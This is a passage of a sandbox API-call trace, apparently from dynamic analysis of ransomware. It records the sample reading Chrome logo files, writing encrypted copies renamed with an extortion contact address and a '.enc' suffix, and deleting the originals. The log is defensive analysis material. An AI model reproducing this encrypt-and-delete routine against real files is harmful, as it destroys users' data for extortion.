lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.533] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.533] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.533] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.533] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.534] GetFileType (hFile=0x39c) returned 0x1 [0219.534] GetFileType (hFile=0x39c) returned 0x1 [0219.534] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.534] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.534] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.534] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.534] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.534] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.534] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.566] CloseHandle (hObject=0x39c) returned 1 [0219.566] CloseHandle (hObject=0x334) returned 1 [0219.567] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logocanary.png")) returned 1 [0219.568] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png", lpFilePart=0x9bada4*="logodev.png") returned 0x58 [0219.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0219.568] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51df03a4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x60be)) returned 1 [0219.568] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672e6c | out: pbBuffer=0x3672e6c) returned 1 [0219.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0219.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0219.568] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0219.569] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.569] GetFileType (hFile=0x334) returned 0x1 [0219.569] GetFileType (hFile=0x334) returned 0x1 [0219.569] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.569] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.569] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.569] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.570] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.570] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.570] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.570] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.570] GetFileType (hFile=0x39c) returned 0x1 [0219.570] GetFileType (hFile=0x39c) returned 0x1 [0219.571] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.571] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.571] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.571] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.571] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.571] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.571] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.574] CloseHandle (hObject=0x39c) returned 1 [0219.574] CloseHandle (hObject=0x334) returned 1 [0219.574] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logodev.png")) returned 1 [0219.575] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png", lpFilePart=0x9bada4*="smalllogo.png") returned 0x5a [0219.575] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dfc6f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x1ef3)) returned 1 [0219.576] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672994 | out: pbBuffer=0x3672994) returned 1 [0219.576] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.576] GetFileType (hFile=0x334) returned 0x1 [0219.576] GetFileType (hFile=0x334) returned 0x1 [0219.577] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.577] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.577] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.577] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.577] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.577] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.577] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.577] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.578] GetFileType (hFile=0x39c) returned 0x1 [0219.578] GetFileType (hFile=0x39c) returned 0x1 [0219.578] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.578] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.578] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.578] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.578] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.578] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.578] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.581] CloseHandle (hObject=0x39c) returned 1 [0219.581] CloseHandle (hObject=0x334) returned 1 [0219.581] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogo.png")) returned 1 [0219.582] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png", lpFilePart=0x9bada4*="smalllogobeta.png") returned 0x5e [0219.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0219.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0219.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0219.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0219.583] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e06334, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x2419)) returned 1 [0219.583] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672b24 | out: pbBuffer=0x3672b24) returned 1 [0219.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0219.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0219.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0219.584] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.584] GetFileType (hFile=0x334) returned 0x1 [0219.584] GetFileType (hFile=0x334) returned 0x1 [0219.584] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.584] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.584] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.584] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.585] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.585] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.585] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.585] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.585] GetFileType (hFile=0x39c) returned 0x1 [0219.585] GetFileType (hFile=0x39c) returned 0x1 [0219.585] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.586] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.586] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.586] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.586] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.586] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.586] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.589] CloseHandle (hObject=0x39c) returned 1 [0219.589] CloseHandle (hObject=0x334) returned 1 [0219.589] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogobeta.png")) returned 1 [0219.590] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png", lpFilePart=0x9bada4*="smalllogocanary.png") returned 0x60 [0219.590] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0219.590] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e0b154, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2)) returned 1 [0219.591] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367291c | out: pbBuffer=0x367291c) returned 1 [0219.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0219.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0219.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0219.591] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.591] GetFileType (hFile=0x334) returned 0x1 [0219.592] GetFileType (hFile=0x334) returned 0x1 [0219.592] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.592] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.592] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.592] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.592] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.592] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.592] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.592] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.593] GetFileType (hFile=0x39c) returned 0x1 [0219.593] GetFileType (hFile=0x39c) returned 0x1 [0219.593] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.593] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.593] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.593] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.593] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.593] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.593] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.596] CloseHandle (hObject=0x39c) returned 1 [0219.596] CloseHandle (hObject=0x334) returned 1 [0219.596] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogocanary.png")) returned 1 [0219.597] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", lpFilePart=0x9bada4*="smalllogodev.png") returned 0x5d [0219.598] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e210e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x238f)) returned 1 [0219.598] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367278c | out: pbBuffer=0x367278c) returned 1 [0219.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0219.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0219.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0219.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37344d0 [0219.598] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.599] GetFileType (hFile=0x334) returned 0x1 [0219.599] GetFileType (hFile=0x334) returned 0x1 [0219.599] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.599] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.599] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.599] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.599] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.599] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.599] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.600] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.600] GetFileType (hFile=0x39c) returned 0x1 [0219.600] GetFileType (hFile=0x39c) returned 0x1 [0219.600] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.600] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.600] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.600] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.601] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.601] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 